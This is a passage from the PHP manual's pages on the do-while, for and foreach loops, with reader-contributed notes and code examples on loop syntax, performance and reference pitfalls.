orange
banana
apple
raspberry

*/
echo "&nbsp;<br />";
while($a =$arr[1*--$i]){
echo $a."<br />";
if($i<=0)break;

}
echo "<br />";
/*
orange
banana
apple
raspberry

*/
foreach($arr as $i){
print $i;
echo "<br />";
}
/*
orange
banana
apple
raspberry

*/
?>
david dot schueler at tel-billig dot de 18-Mar-2011 02:12
If you are trying to use a construct like this:
<?php
do {
    // some code to run only one more time if expression is true
    if ($your_expression == true)
        continue;
} while (false);
?>
It will NOT loop as expected, because the continue tries to run the "next" loop, but the expression says just "false" so there is no next loop. The continue exits the while loop.
To get around this you may use an other expression, like this
<?php
do {
    // some code to run only one more time if expression is true
    if ($your_expression == true)
        continue;
    break;
} while (true);
?>
or use the goto statement since PHP 5.3.
xiaomao5 at live dot com 13-Mar-2011 04:48
Another hack
If you want $type to only have a value of 0 or 1, you can do this:

<?php
do {
    echo 'Choose a type, 0 or 1: ';
    $type = trim(fgets(STDIN));
    if ($type == 0) {
        /* do stuff */
    } elseif ($type == 1) {
        /* do stuff */
    }
} while ($type != 0 && $type != 1);
?>
shaida dot mca at gmail dot com 19-Aug-2010 08:01
Example of Do while :-

<?php
$i = 0;
echo 'This code will run at least once because i default value is 0.<br/>';
do {
echo 'i value is ' . $i . ', so code block will run. <br/>';
++$i;
} while ($i < 10);
?>
andrew at NOSPAM dot devohive dot com 15-Sep-2008 07:44
I'm guilty of writing constructs without curly braces sometimes... writing the do--while seemed a bit odd without the curly braces ({ and }), but just so everyone is aware of how this is written with a do--while...

a normal while:
<?php
   while ( $isValid ) $isValid = doSomething($input);
?>

a do--while:
<?php
   do $isValid = doSomething($input);
   while ( $isValid );
?>

Also, a practical example of when to use a do--while when a simple while just won't do (lol)... copying multiple 2nd level nodes from one document to another using the DOM XML extension

<?php
   # open up/create the documents and grab the root element
   $fileDoc  = domxml_open_file('example.xml'); // existing xml we want to copy
   $fileRoot = $fileDoc->document_element();
   $newDoc   = domxml_new_doc('1.0'); // new document we want to copy to
   $newRoot  = $newDoc->create_element('rootnode');
   $newRoot  = $newDoc->append_child($newRoot); // this is the node we want to copy to

   # loop through nodes and clone (using deep)
   $child = $fileRoot->first_child(); // first_child must be called once and can only be called once
   do $newRoot->append_child($child->clone_node(true)); // do first, so that the result from first_child is appended
   while ( $child = $child->next_sibling() ); // we have to use next_sibling for everything after first_child
?>
Ryan 18-Apr-2008 07:59
I've found that the most useful thing to use do-while loops for is multiple checks of file existence. The guaranteed iteration means that it will check through at least once, which I had trouble with using a simple "while" loop because it never incremented at the end.

My code was:

<?php
$filename = explode(".", $_FILES['file']['name']); // File being uploaded
$i=0; // Number of times processed (number to add at the end of the filename)
do {
  /* Since most files being uploaded don't end with a number,
      we have to make sure that there is a number at the end
      of the filename before we start simply incrementing. I
      admit there is probably an easier way to do this, but this
      was a quick slap-together job for a friend, and I find it
      works just fine. So, the first part "if($i > 0) ..." says that
      if the loop has already been run at least once, then there
      is now a number at the end of the filename and we can
      simply increment that. Otherwise, we have to place a
      number at the end of the filename, which is where $i
      comes in even handier */

  if($i > 0) $filename[0]++;
  else $filename[0] = $filename[0].$i;
  $i++;
} while(file_exists("uploaded/".$filename[0].".".$filename[1]));

/* Now that everything is uploaded, we should move it
    somewhere it can be accessed. Hence, the "uploaded"
    folder. */
move_uploaded_file($_FILES['file']['tmp_name'], "uploaded/".$filename[0].".".$filename[1]);
?>

I'm sure there are plenty of ways of doing this without using the do-while loop, but I managed to toss this one together in no-time flat, and I'm not a great PHP programmer. =) It's simple and effective, and I personally think it works better than any "for" or "while" loop that I've seen that does the same thing.
jantsch at gmail dot com 29-Nov-2007 02:56
Useful when you want to continue to read a recordset that was already being read like in:

<?
$sql = "select * from customers";
$res = mysql_query( $sql );

// read the first record
if( $rs = mysql_fetch_row( $res ) ){
   // do something with this record

}

// do another stuff here

// keep reading till the end
if( mysql_num_rows( $res )>1 ){
   do{
      // processing the records till the end

   }while( $rs = mysql_fetch_row( $res ));

}

?>
jayreardon at gmail dot com 11-Apr-2007 12:36
There is one major difference you should be aware of when using the do--while loop vs. using a simple while loop:  And that is when the check condition is made.

In a do--while loop, the test condition evaluation is at the end of the loop.  This means that the code inside of the loop will iterate once through before the condition is ever evaluated.  This is ideal for tasks that need to execute once before a test is made to continue, such as test that is dependant upon the results of the loop.

Conversely, a plain while loop evaluates the test condition at the begining of the loop before any execution in the loop block is ever made. If for some reason your test condition evaluates to false at the very start of the loop, none of the code inside your loop will be executed.


for

(PHP 4, PHP 5)

for loops are the most complex loops in PHP. They behave like their C counterparts. The syntax of a for loop is:

for (expr1; expr2; expr3)
    statement

The first expression (expr1) is evaluated (executed) once unconditionally at the beginning of the loop.

In the beginning of each iteration, expr2 is evaluated. If it evaluates to TRUE, the loop continues and the nested statement(s) are executed. If it evaluates to FALSE, the execution of the loop ends.

At the end of each iteration, expr3 is evaluated (executed).

Each of the expressions can be empty or contain multiple expressions separated by commas. In expr2, all expressions separated by a comma are evaluated but the result is taken from the last part. expr2 being empty means the loop should be run indefinitely (PHP implicitly considers it as TRUE, like C). This may not be as useless as you might think, since often you'd want to end the loop using a conditional break statement instead of using the for truth expression.

Consider the following examples. All of them display the numbers 1 through 10:

<?php
/* example 1 */

for ($i = 1; $i <= 10; $i++) {
    echo $i;
}

/* example 2 */

for ($i = 1; ; $i++) {
    if ($i > 10) {
        break;
    }
    echo $i;
}

/* example 3 */

$i = 1;
for (; ; ) {
    if ($i > 10) {
        break;
    }
    echo $i;
    $i++;
}

/* example 4 */

for ($i = 1, $j = 0; $i <= 10; $j += $i, print $i, $i++);
?>

Of course, the first example appears to be the nicest one (or perhaps the fourth), but you may find that being able to use empty expressions in for loops comes in handy in many occasions.

PHP also supports the alternate "colon syntax" for for loops.

for (expr1; expr2; expr3):
    statement
    ...
endfor;

It's a common thing to many users to iterate through arrays like in the example below.

<?php
/*
 * This is an array with some data we want to modify
 * when running through the for loop.
 */
$people = array(
    array('name' => 'Kalle', 'salt' => 856412),
    array('name' => 'Pierre', 'salt' => 215863)
);

for($i = 0; $i < count($people); ++$i) {
    $people[$i]['salt'] = mt_rand(000000, 999999);
}
?>

The above code can be slow, because the array size is fetched on every iteration. Since the size never changes, the loop be easily optimized by using an intermediate variable to store the size instead of repeatedly calling count():

<?php
$people = array(
    array('name' => 'Kalle', 'salt' => 856412),
    array('name' => 'Pierre', 'salt' => 215863)
);

for($i = 0, $size = count($people); $i < $size; ++$i) {
    $people[$i]['salt'] = mt_rand(000000, 999999);
}
?>

User Contributed Notes

Anonymous 23-Aug-2014 08:39
You can also work with arrays. For example, say you want to generate an array of 12 unique 2-letter strings:

<?php

for ($names = array(); count($names) < 12; $names = array_unique($names)) {
    /**
     * we assume here we have some $faker object
     * which generates n-letter strings
     */
    $names[] = $faker->word(2);
}

print_r($names);
?>

will print something like:

Array
(
    [0] => cc
    [1] => cb
    [2] => dd
    [3] => db
    [4] => bb
    [6] => cd
    [8] => aa
    [9] => ad
    [10] => ca
    [11] => ac
    [12] => dc
    [15] => ab
)
AoKMiKeY 14-Jul-2014 03:36
As a note for people just starting out and wanting to know if you can do some thing like this...

<?php For( $a = 0; $a < 10; $a++ ) { ?>

//Random html elements you would like to duplicate.

<?php } ?>

Then yes you can. It works like a charm.
vincentamorij at hotmail dot com 15-Apr-2014 11:22
<html>
<head>
<title>
drikhoek

</title>
</head>
<body bgcolor="#99FF66">
<form action="driehoek.php" method="post" >
<input type="text" name="breedte"  />
<input type="submit" value="klikken"  />
</form>
<?

$hoogte=$_POST["breedte"];
print(" ");

for($teller=1; $teller<=$hoogte; $teller++)
{

    for($breedte=1; $breedte<=$teller; $breedte++)
       { print("*");
       }
print("   </br>");
}

?>

it's an example!!!!!

</body>
</html>
Vincenzo Raco 31-Mar-2014 01:59
In this code:

<?php

    $array = array(
        'pop0',
        'pop1',
        'pop2',
        'pop3',
        'pop4',
        'pop5',
        'pop6',
        'pop7',
        'pop8'
    );
    echo "Tot Before: ".count($array)."<br><br>";
    for ($i=0; $i<count($array); $i++) {
        if ($i === 3) {
            unset($array[$i]);
        }
        echo "Count: ".count($array). " - Position: ".$i."<br>";
    }
    echo "<br> Tot After: ".count($array)."<br>";

?>

The result is:

---

Tot Before: 9

Count: 9 - Position: 0
Count: 9 - Position: 1
Count: 9 - Position: 2
Count: 8 - Position: 3
Count: 8 - Position: 4
Count: 8 - Position: 5
Count: 8 - Position: 6
Count: 8 - Position: 7

Tot After: 8

---

The position 8 is skipped, because the "expr2" {{ $i<count($array) }} is evaluated again, for each cycle.

The solution is:

<?php

    $array = array(
        'pop0',
        'pop1',
        'pop2',
        'pop3',
        'pop4',
        'pop5',
        'pop6',
        'pop7',
        'pop8'
    );
    echo "Tot Before: ".count($array)."<br><br>";
    $count = count($array);
    for ($i=0; $i<$count; $i++) {
        if ($i === 3) {
            unset($array[$i]);
        }
        echo "Count: ".count($array). " - Position: ".$i."<br>";
    }
    echo "<br> Tot After: ".count($array)."<br>";

?>
Warbo 07-Feb-2014 02:37
Remember that for-loops don't always need to go 'forwards'. For example, let's say I have the following code:

<?php
for ($i = 0; $i < calculateLoopLength(); $i++) {
  doSomethingWith($i);
}
>?

As other comments have pointed out, if "calculateLoopLength" will keep giving back the same value, it can be moved outside the loop:

<?php
$loopLength = calculateLoopLength();
for ($i=0; $i < $loopLength; $i++) {
  doSomethingWith($i);
}
?>

However, if the order the looping doesn't matter (ie. each iteration is independent) then we don't need to use an extra variable either, we can just count down (ie. loop 'backwards') instead:

<?php
for ($i=calculateLoopLength(); $i > 0; $i--) {
  doSomething($i);
}
?>

In fact, we can simplify this even more, since "$i > 0" is equivalent to "$i" (due to type casting):

<?php
for ($i=calculateLoopLength(); $i; $i--) {
  doSomething($i);
}
?>

Finally, we can switch to a 'pre-decrement' instead of a 'post-decrement' to be slightly more efficient (see, for example, http://dfox.me/2011/04/php-most-common-mistakes-part-2-using-post-increment-instead-of-pre-increment/ ):

<?php
for ($i = calculateLoopLength(); $i; --$i) {
  doSomething($i);
}
?>

In this case we could also replace the entire loop with a map, which might make your algorithm clearer (although this won't work if calculateLoopLength() == 0):

<?php
array_map('doSomething',
          range(0, calculateLoopLength() - 1));
?>
Andrew 15-Jan-2014 08:07
You can use strtotime with for loops to loop through dates

<?php
for ($date = strtotime("2014-01-01"); $date < strtotime("2014-02-01"); $date = strtotime("+1 day", $date)) {
    echo date("Y-m-d", $date)."<br />";
}
?>
Philipp Trommler 09-Nov-2012 01:34
Note, that, because the first line is executed everytime, it is not only slow to put a function there, it can also lead to problems like:

<?php

$array = array(0 => "a", 1 => "b", 2 => "c", 3 => "d");

for($i = 0; $i < count($array); $i++){

echo $array[$i];

unset($array[$i]);

}

?>

This will only output the half of the elements, because the array is becoming shorter everytime the for-expression counts it.
matthiaz 08-Feb-2012 11:37
Looping through letters is possible. I'm amazed at how few people know that.

for($col = 'R'; $col != 'AD'; $col++) {
    echo $col.' ';
}

returns: R S T U V W X Y Z AA AB AC

Take note that you can't use $col < 'AD'. It only works with !=
Very convenient when working with excel columns.
kanirockz at gmail dot com 21-Mar-2010 08:49
Here is another simple example for " for loops"

<?php

$text="Welcome to PHP";
$searchchar="e";
$count="0"; //zero

for($i="0"; $i<strlen($text); $i=$i+1){

    if(substr($text,$i,1)==$searchchar){

       $count=$count+1;
    }

}

echo $count

?>

this will be count how many "e" characters in that text (Welcome to PHP)
kanirockz at gmail dot com 21-Mar-2010 08:48
Here is another simple example for " for loops"

<?php

$text="Welcome to PHP";
$searchchar="e";
$count="0"; //zero

for($i="0"; $i<strlen($text); $i=$i+1){

    if(substr($text,$i,1)==$searchchar){

       $count=$count+1;
    }

}

echo $count

?>

this will be count how many "e" characters in that text (Welcome to PHP)
eduardofleury at uol dot com dot br 14-Jun-2007 03:18
<?php
//this is a different way to use the 'for'
//Essa é uma maneira diferente de usar o 'for'
for($i = $x = $z = 1; $i <= 10;$i++,$x+=2,$z=&$p){

    $p = $i + $x;

    print "\$i = $i , \$x = $x , \$z = $z <br />";

}

?>
lishevita at yahoo dot co (notcom) .uk 08-Sep-2006 09:33
On the combination problem again...

 It seems to me like it would make more sense to go through systematically. That would take nested for loops, where each number was put through all of it's potentials sequentially.

The following would give you all of the potential combinations of a four-digit decimal combination, printed in a comma delimited format:

<?php
for($a=0;$a<10;$a++){
    for($b=0;$b<10;$b++){
          for($c=0;$c<10;$c++){
              for($d=0;$d<10;$d++){
                echo $a.$b.$c.$d.", ";
              }
           }
      }
}
?>

Of course, if you know that the numbers you had used were in a smaller subset, you could just plunk your possible numbers into arrays $a, $b, $c, and $d and then do nested foreach loops as above.

- Elizabeth
JustinB at harvest dot org 05-Aug-2005 01:23
For those who are having issues with needing to evaluate multiple items in expression two, please note that it cannot be chained like expressions one and three can.  Although many have stated this fact, most have not stated that there is still a way to do this:

<?php
for($i = 0, $x = $nums['x_val'], $n = 15; ($i < 23 && $number != 24); $i++, $x + 5;) {
    // Do Something with All Those Fun Numbers
}
?>
user at host dot com 19-Apr-2004 12:53
Also acceptable:

<?php
  for($letter = ord('a'); $letter <= ord('z'); $letter++)
   print chr($letter);
?>
bishop 17-Jul-2003 10:23
If you're already using the fastest algorithms you can find (on the order of O(1), O(n), or O(n log n)), and you're still worried about loop speed, unroll your loops using e.g., Duff's Device:

<?php
$n = $ITERATIONS % 8;
while ($n--) $val++;
$n = (int)($ITERATIONS / 8);
while ($n--) {
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
}
?>

(This is a modified form of Duff's original device, because PHP doesn't understand the original's egregious syntax.)

That's algorithmically equivalent to the common form:

<?php
for ($i = 0; $i < $ITERATIONS; $i++) {
    $val++;
}
?>

$val++ can be whatever operation you need to perform ITERATIONS number of times.

On my box, with no users, average run time across 100 samples with ITERATIONS = 10000000 (10 million) is:
Duff version:       7.9857 s
Obvious version: 27.608 s
nzamani at cyberworldz dot de 18-Jun-2001 08:47
The point about the speed in loops is, that the middle and the last expression are executed EVERY time it loops.
So you should try to take everything that doesn't change out of the loop.
Often you use a function to check the maximum of times it should loop. Like here:

<?php
for ($i = 0; $i <= somewhat_calcMax(); $i++) {
  somewhat_doSomethingWith($i);
}
?>

Faster would be:

<?php
$maxI = somewhat_calcMax();
for ($i = 0; $i <= $maxI; $i++) {
  somewhat_doSomethingWith($i);
}
?>

And here a little trick:

<?php
$maxI = somewhat_calcMax();
for ($i = 0; $i <= $maxI; somewhat_doSomethingWith($i++)) ;
?>

The $i gets changed after the copy for the function (post-increment).


foreach

(PHP 4, PHP 5)

The foreach construct provides an easy way to iterate over arrays. foreach works only on arrays and objects, and will issue an error when you try to use it on a variable with a different data type or an uninitialized variable. There are two syntaxes:

foreach (array_expression as $value)
    statement
foreach (array_expression as $key => $value)
    statement

The first form loops over the array given by array_expression. On each iteration, the value of the current element is assigned to $value and the internal array pointer is advanced by one (so on the next iteration, you'll be looking at the next element).

The second form will additionally assign the current element's key to the $key variable on each iteration.

It is possible to customize object iteration.

Note:

When foreach first starts executing, the internal array pointer is automatically reset to the first element of the array. This means that you do not need to call reset() before a foreach loop.

As foreach relies on the internal array pointer, changing it within the loop may lead to unexpected behavior.

In order to be able to directly modify array elements within the loop precede $value with &. In that case the value will be assigned by reference.

<?php
$arr = array(1, 2, 3, 4);
foreach ($arr as &$value) {
    $value = $value * 2;
}
// $arr is now array(2, 4, 6, 8)
unset($value); // break the reference with the last element
?>

Referencing $value is only possible if the iterated array can be referenced (i.e. if it is a variable). The following code won't work:

<?php
foreach (array(1, 2, 3, 4) as &$value) {
    $value = $value * 2;
}
?>

Warning

Reference of a $value and the last array element remain even after the foreach loop. It is recommended to destroy it by unset().

Note:

foreach does not support the ability to suppress error messages using '@'.

You may have noticed that the following are functionally identical:

<?php
$arr = array("one", "two", "three");
reset($arr);
while (list(, $value) = each($arr)) {
    echo "Value: $value<br />\n";
}

foreach ($arr as $value) {
    echo "Value: $value<br />\n";
}
?>

The following are also functionally identical:

<?php
$arr = array("one", "two", "three");
reset($arr);
while (list($key, $value) = each($arr)) {
    echo "Key: $key; Value: $value<br />\n";
}

foreach ($arr as $key => $value) {
    echo "Key: $key; Value: $value<br />\n";
}
?>

Some more examples to demonstrate usage:

<?php
/* foreach example 1: value only */

$a = array(1, 2, 3, 17);

foreach ($a as $v) {
    echo "Current value of \$a: $v.\n";
}

/* foreach example 2: value (with its manual access notation printed for illustration) */

$a = array(1, 2, 3, 17);

$i = 0; /* for illustrative purposes only */

foreach ($a as $v) {
    echo "\$a[$i] => $v.\n";
    $i++;
}

/* foreach example 3: key and value */

$a = array(
    "one" => 1,
    "two" => 2,
    "three" => 3,
    "seventeen" => 17
);

foreach ($a as $k => $v) {
    echo "\$a[$k] => $v.\n";
}

/* foreach example 4: multi-dimensional arrays */
$a = array();
$a[0][0] = "a";
$a[0][1] = "b";
$a[1][0] = "y";
$a[1][1] = "z";

foreach ($a as $v1) {
    foreach ($v1 as $v2) {
        echo "$v2\n";
    }
}

/* foreach example 5: dynamic arrays */

foreach (array(1, 2, 3, 4, 5) as $v) {
    echo "$v\n";
}
?>

Unpacking nested arrays with list()

(PHP 5 >= 5.5.0)

PHP 5.5 added the ability to iterate over an array of arrays and unpack the nested array into loop variables by providing a list() as the value.

For example:

<?php
$array = [
    [1, 2],
    [3, 4],
];

foreach ($array as list($a, $b)) {
    // $a contains the first element of the nested array,
    // and $b contains the second element.
    echo "A: $a; B: $b\n";
}
?>

The above example will output:

A: 1; B: 2
A: 3; B: 4

You can provide fewer elements in the list() than there are in the nested array, in which case the leftover array values will be ignored:

<?php
$array = [
    [1, 2],
    [3, 4],
];

foreach ($array as list($a)) {
    // Note that there is no $b here.
    echo "$a\n";
}
?>

The above example will output:

1
3

A notice will be generated if there aren't enough array elements to fill the list():

<?php
$array = [
    [1, 2],
    [3, 4],
];

foreach ($array as list($a, $b, $c)) {
    echo "A: $a; B: $b; C: $c\n";
}
?>

The above example will output:

Notice: Undefined offset: 2 in example.php on line 7
A: 1; B: 2; C:

Notice: Undefined offset: 2 in example.php on line 7
A: 3; B: 4; C:

User Contributed Notes

admin at gadelkareem dot com 18-Sep-2014 08:23
Not sure if this is considered a bug
<?php
    $array = ['numbers' => [1, 2, 3]];
    foreach ($array as &$numbers) {
        $numbers = [4, 5, 6];
    }
    var_dump($array);
    modify_array($array);
    var_dump($array);

    function modify_array($array_arg)
    {
        $array_arg['numbers'] = [1, 2, 3];
    }

Prints

    array(1) {
      ["numbers"]=>
      &array(3) {
        [0]=>
        int(4)
        [1]=>
        int(5)
        [2]=>
        int(6)
      }
    }
    array(1) {
      ["numbers"]=>
      &array(3) {
        [0]=>
        int(1)
        [1]=>
        int(2)
        [2]=>
        int(3)
      }
    }
?>
Notice that $array was not passed by reference to modify_array() however the nested array was modified. It sounds logical but not sure if this is documented!
liam666 at donnelly-house dot net 12-Jun-2014 10:12
This is a decent, simple, and easy way to reference other values of an associative array when using foreach. (effective "next", "prev", etc.)
The only care that needs to be taken is if the array is HUGE in size, so you don't run into memory use problems. (and potential speed issues)

This example uses the 'primary' array, $aPublishSeq, which is ksort-ed to put the array in order according to the associative keys. The array is then copied using a foreach loop to make a duplicate array where the key and value order correspond to the first array, but the keys are sequential numeric starting at zero.

ksort ($aPublishSeq, SORT_STRING);     // put them all in the right order keeping array keys
foreach ($aPublishSeq as $aValue)
   $aPublishIdx[] = $aValue;          // duplicate array using corresponding sequential numeric keys

Now, in the usage foreach loop, an index variable is used to keep in sync with the associative array.

$PubIdx = -1;     // start at -1 to start at 0 below

foreach ($aPublishSeq as $sKey => $sValue) {

      ++$PubIdx;     // index into $aPublishIdx array of corresponding element in $aPublishSeq array (for "next" element check, etc.)

   echo $aPublishIdx[$PubIdx  - 1]     // previous array value
   echo $aPublishIdx[$PubIdx]          // current array value
   echo $aPublishIdx[$PubIdx  + 1]     // next array value

....

It's simple, but it works, and without much muss or fuss.
nehuen 20-Apr-2014 12:27
foreach by reference internally deleted and created a new reference in each iteration, so it is not possible to directly use this value as a variable parameter values​​, look at the following example where the problem is observed and a possible solution:

<?php
 class test
 {
    private $a = false;
    private $r = null;
    public function show(&$v)
    {
        if(!$this->a)
        {
            $this->a = true;
            $this->r = &$v;
        }
        var_dump($this->r);
    }
    public function reset()
    {
        $this->a = false;
    }
 }

 $t = new test();

 $a = array(array(1,2),array(3,4),array(5,6));
 foreach($a as &$p)
    $t->show($p);

 /* Output obtain:
    array (size=2)
      0 => int 1
      1 => int 2
    array (size=2)
      0 => int 1
      1 => int 2
    array (size=2)
      0 => int 1
      1 => int 2
 */

  $t->reset();
  foreach($a as $p)
  {
    $b = &$p;
    $t->show($b);
  }

 /* Output obtain:
    array (size=2)
      0 => int 1
      1 => int 2
    array (size=2)
      0 => int 3
      1 => int 4
    array (size=2)
      0 => int 5
      1 => int 6
 */
Alastair Hole 02-Apr-2014 06:52
What happened to this note:
"Unless the array is referenced, foreach operates on a copy of the specified array and not the array itself. foreach has some side effects on the array pointer. Don't rely on the array pointer during or after the foreach without resetting it."

Is this no longer the case?
It seems only to remain in the Serbian documentation: http://php.net/manual/sr/control-structures.foreach.php
sainthyoga2003 at gmail dot com 30-Mar-2014 08:14
Note that prior to PHP 5.5 you will get a T_LIST parse error for:
<?php
foreach($list as list($a, $b)) {...
?>
mvaqasuddin at gmail dot com 11-Feb-2014 11:56
more control over foreach you can use these code for zebra stripping in table class or other.

foreach ( $data as $key => $row ) {

                    $class = fmod( $key,2 ) ? 'even' : 'odd';

                    echo '<tr class = "'.$class.'" >';

                    foreach ( $row as $cell ) {

                        echo "<td>$cell</td>";

                    }

                    echo "</tr>";
                }
Anonymous 29-Aug-2013 05:21
[quote]
I want to add some inline comments to dtowell's piece of code about the iteration by reference:

<?php

$a = array('abe','ben','cam');

foreach ($a as $k=>&$n)
    $n = strtoupper($n);

# At the end of this cycle the variable $n refers to the same memory as $a[2]
# So when the second "foreach" assigns a value to $n :

foreach ($a as $k=>$n) // notice NO reference here!
    echo "$n\n";

# it is also modifying $a[2] .
# So on the three repetitions of the second "foreach" the array will look like:
# 1. ('abe','ben','abe') - assigned the value of the first element to the last element
# 2. ('abe','ben','ben') - assigned the value of the second element to the last element
# 3. ('abe','ben','ben') - assigned the value of the third element to itself

print_r($a);
?>
[/quote]

To resolve this problem - should always use unset after foreach:
<?php

$array = array('abe','ben','cam');

foreach ( $array as $key=>&$val ) {}
unset($key); unset($val);
foreach ( $array as $key=>$val ) {}
unset($key); unset($val);

print_r($array);
Delian Krustev 02-Jul-2013 10:43
I want to add some inline comments to dtowell's piece of code about the iteration by reference:

<?php

$a = array('abe','ben','cam');

foreach ($a as $k=>&$n)
    $n = strtoupper($n);

# At the end of this cycle the variable $n refers to the same memory as $a[2]
# So when the second "foreach" assigns a value to $n :

foreach ($a as $k=>$n) // notice NO reference here!
    echo "$n\n";

# it is also modifying $a[2] .
# So on the three repetitions of the second "foreach" the array will look like:
# 1. ('abe','ben','abe') - assigned the value of the first element to the last element
# 2. ('abe','ben','ben') - assigned the value of the second element to the last element
# 3. ('abe','ben','ben') - assigned the value of the third element to itself

print_r($a);
?>
Ashus 02-Apr-2013 10:25
If you wondered how to create a list of all possible combinations of variable amount of arrays (multiple foreach), you might use this:

<?php

$a[0] = array('a1','a2');
$a[1] = array('b1','b2','b3');
$a[2] = array('c1','c2');

function getAllCombinations($a,$i,$s)
    {
    foreach ($a[$i] as $v)
        {
        if (!isset($a[$i+1]))
            {
            echo $s.$v."\n";
            } else {
            getAllCombinations($a,$i+1,$s.$v);
            }
        }
    return $s;
    }

echo getAllCombinations($a,0,'');

?>

the result:

a1b1c1
a1b1c2
a1b2c1
a1b2c2
a1b3c1
a1b3c2
a2b1c1
a2b1c2
a2b2c1
a2b2c2
a2b3c1
a2b3c2
php at darkain dot com 17-Mar-2013 06:56
"Reference of a $value and the last array element remain even after the foreach loop. It is recommended to destroy it by unset()."

I cannot stress this point of the documentation enough! Here is a simple example of exactly why this must be done:

<?php
$arr1 = array("a" => 1, "b" => 2, "c" => 3);
$arr2 = array("x" => 4, "y" => 5, "z" => 6);

foreach ($arr1 as $key => &$val) {}
foreach ($arr2 as $key => $val) {}

var_dump($arr1);
var_dump($arr2);
?>

The output is:
array(3) { ["a"]=> int(1) ["b"]=> int(2) ["c"]=> &int(6) }
array(3) { ["x"]=> int(4) ["y"]=> int(5) ["z"]=> int(6) }

Notice how the last index in $arr1 is now the value from the last index in $arr2!
dtowell 11-Aug-2012 09:44
References created by foreach hang around past their best-used-by date. For example, the following:

<?php
$a = array('abe','ben','cam');
foreach ($a as $k=>&$n)
    $n = strtoupper($n);
foreach ($a as $k=>$n) // notice NO reference here!
    echo "$n\n";
print_r($a);
?>

will result in:

ABE
BEN
BEN
Array
(
    [0] => ABE
    [1] => BEN
    [2] => BEN
)
Voitcus at wp dot pl 16-Feb-2012 05:55
You can even iterate through "dynamic" arrays that do not physically exist, but are objects that implement Iterator interface. They don't need to be stored in memory when foreach starts.

Consider the array that contains some values (I called it $allValues in the example below) and we want to have only some of them (eg. the ones that are dividable by 2). I create an object that would serve as dynamic array, that means it would "dynamically update" its values together with $allValues. The main advantage is that I store only one array, and it's the only array I serialize.

An object of MyIter class will not contain any values itself:
<?php
class MyIter implements Iterator { // you can implement ArrayAccess and Countable interfaces too, this will make class MyIter behave like a "real" array
  private $position = 0; // an internal position of the current element
  // please note that $position has nothing common with $allValues!

  private function getTable(){ // prepare a temporary "static" table of all objects in the class
    global $allValues;
    $result=array(); // temporary variable
    foreach($allValues as $obj){
      if($obj % 2 == 0) // check if the value is even
        $result[]=$obj; // if yes, I want it
      }
    return $result;
  }

  // the all below declared methods are public and belong to the Iterator interface
  function rewind() { // a method to start iterating
    $this->position = 0; // just move to the beginning
  }

  function current() { // retrieves the current element
    $table=$this->getTable(); // let us prepare a table
    return $table[$this->position]; // and return the current element
  }

  function key() { // retrieves the current element's key
    return $this->position; // this is used by foreach(... as $key=>$value), not important here
  }

  function next() { // move to next element
    ++$this->position;
  }

  function valid() { // check if the current element is valid (ie. if it exists)
    return array_key_exists($this->position, $this->getTable());
  }
} // end of class

// now prepare the array of 12 elements
$allValues=array(0,1,2,3,4,5,6,7,8,9,10,11);

//we would like to have a dynamic array of all even values
$iterator=new MyIter();

foreach($iterator as $value){
  echo $value."<br />";
}
?>
This will result in:
0
2
4
6
8
10

(You may also like to see what var_dump($iterator) produces).

Another great advantage is that you can modify the main table "on-the-fly" and it has its impact. Let us modify the last foreach loop:
<?php
// ...all above shall stay as it was
foreach($iterator as $value){
  echo $value."<br />";
  if($value==6){
    $allValues=array(2,3);
    echo "I modified source array!<br />";
  }
}
?>
This produces now:
0
2
4
6
I modified source array!

However, if you feel it is rather a catastrophic disadvantage (maybe for example, it shows the values 0, 4, and 6 which were removed when we reached 6), and wish to have a "static" array that will iterate even in modified objects, just call getTable() in rewind() method and save it in temporary (private perhaps) field. In my example getTable() is called every iteration, and it calls another foreach through $allValues, which together might be time-consuming. Consider what you need.
nobody at nobody dot com 22-Dec-2011 10:11
<?php
$d3 = array('a'=>array('b'=>'c'));
foreach($d3['a'] as &$v4){}
foreach($d3 as $v4){}
var_dump($d3);
?>
will get something look like this:
array(1) {
  ["a"]=>
  array(1) {
    ["b"]=>
    &array(1) {
      ["b"]=>
      *RECURSION*
    }
  }
}
then you try to walk some data with this array.
the script run out of memory and connect reset by peer

the document says:
Warning
Reference of a $value and the last array element remain even after the foreach loop. It is recommended to destroy it by unset().

so what I learn is that NEVER ignore """Warning""" in document....
billardmchl at aol dot com 20-May-2011 10:20
This function find well the words, add well adds a () around short words, but the
array at the end of th function is the same as at the beginning.

<?php
function isole_mots($chaine)
{
    $chaine = "le petit chat est fou";
    $mots = preg_split('/[!,-.;?:()[ ]/', $chaine, -1, PREG_SPLIT_NO_EMPTY);
    foreach ($mots as $mot)
    {
        if (strlen($mot) <= 3)
            $mot = "(".$mot.")";
    print " inside foreach $mot <br>";
    }
print "after foreach array mots";
    print_r($mots);
    die();
    return $mots;
}
?>

inside foreach (le)
inside foreach petit
inside foreach chat
inside foreach (est)
inside foreach (fou)
after foreach array motsArray ( [0] => le [1] => petit [2] => chat [3] => est [4] => fou )
Oleg englishman at bigmir dot net 14-Sep-2010 04:12
For those who'd like to traverse an array including just added elements (within this very foreach), here's a workaround:

<?php
$values = array(1 => 'a', 2 => 'b', 3 => 'c');
while (list($key, $value) = each($values)) {
    echo "$key => $value \r\n";
    if ($key == 3) {
        $values[4] = 'd';
    }
    if ($key == 4) {
        $values[5] = 'e';
    }
}
?>

the code above will output:

1 => a
2 => b
3 => c
4 => d
5 => e
tedivm at tedivm dot com 29-Jan-2009 11:44
foreach and the while/list/each methods are not completely identical, and there are occasions where one way is beneficial over the other.

<?php
$arr = array(1,2,3,4,5,6,7,8,9);

foreach($arr as $key=>$value)
{
    unset($arr[$key + 1]);
    echo $value . PHP_EOL;
}
?>
Output:
1 2 3 4 5 6 7 8 9

<?php
$arr = array(1,2,3,4,5,6,7,8,9);

while (list($key, $value) = each($arr))
{
    unset($arr[$key + 1]);
    echo $value . PHP_EOL;
}
?>
Output:
1 3 5 7 9

[EDIT BY danbrown AT php DOT net: Contains a typofix by (scissor AT phplabs DOT pl) on 30-JAN-2009.]
adam dot sindelar at gmail dot com 14-Apr-2008 03:45
You can also use the alternative syntax for the foreach cycle:

<?php
foreach($array as $element):
  #do something
endforeach;
?>

Just thought it worth mentioning.
Luke at chaoticlogic dot net 02-Jul-2007 10:08
Alright, I had a little error. I had one foreach() declaration, and then another foreach() declaration.

They went:
<?php
//$connections is an array of Socket resources
foreach ($connections as $key => &$value) {
    //the code here is impertinent

}

//$users is an associative array
foreach ($users as $key => &$value) {
    //the code here is impertinent
}
?>

